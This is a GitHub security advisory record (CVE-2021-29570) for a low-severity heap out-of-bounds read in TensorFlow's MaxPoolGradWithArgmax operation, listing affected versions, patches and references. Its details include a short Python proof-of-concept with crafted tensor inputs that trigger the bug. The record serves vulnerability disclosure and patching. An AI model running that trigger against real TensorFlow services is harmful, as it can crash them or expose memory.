{ "schema_version": "1.4.0", "id": "GHSA-545v-42p7-98fq", "modified": "2024-11-01T17:06:23Z", "published": "2021-05-21T14:25:25Z", "aliases": [ "CVE-2021-29570" ], "summary": "Heap out of bounds read in `MaxPoolGradWithArgmax`", "details": "### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([10.0, 10.0, 10.0], shape=[1, 1, 3, 1], dtype=tf.float32)\ngrad = tf.constant([10.0, 10.0, 10.0, 10.0], shape=[1, 1, 1, 4], dtype=tf.float32)\nargmax = tf.constant([1], shape=[1], dtype=tf.int64)\nksize = [1, 1, 1, 1]\nstrides = [1, 1, 1, 1]\n \ntf.raw_ops.MaxPoolGradWithArgmax(\n input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,\n padding='SAME', include_batch_in_index=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ef0c008ee84bad91ec6725ddc42091e19a30cf0e/tensorflow/core/kernels/maxpooling_op.cc#L1016-L1017) uses the same value to index in two different arrays but there is no guarantee that the sizes are identical. \n\n### Patches\nWe have patched the issue in GitHub commit [dcd7867de0fea4b72a2b34bd41eb74548dc23886](https://github.com/tensorflow/tensorflow/commit/dcd7867de0fea4b72a2b34bd41eb74548dc23886).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. \n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L" }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" } ], "affected": [ { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "2.1.4" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.2.0" }, { "fixed": "2.2.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.3.0" }, { "fixed": "2.3.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.2" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "2.1.4" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.2.0" }, { "fixed": "2.2.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.3.0" }, { "fixed": "2.3.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-cpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.2" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "2.1.4" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.2.0" }, { "fixed": "2.2.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.3.0" }, { "fixed": "2.3.3" } ] } ] }, { "package": { "ecosystem": "PyPI", "name": "tensorflow-gpu" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.4.0" }, { "fixed": "2.4.2" } ] } ] } ], "references": [ { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-545v-42p7-98fq" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29570" }, { "type": "WEB", "url": "https://github.com/tensorflow/tensorflow/commit/dcd7867de0fea4b72a2b34bd41eb74548dc23886" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-498.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-696.yaml" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-207.yaml" }, { "type": "PACKAGE", "url": "https://github.com/tensorflow/tensorflow" } ], "database_specific": { "cwe_ids": [ "CWE-125" ], "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2021-05-18T18:54:55Z", "nvd_published_at": "2021-05-14T20:15:00Z" } }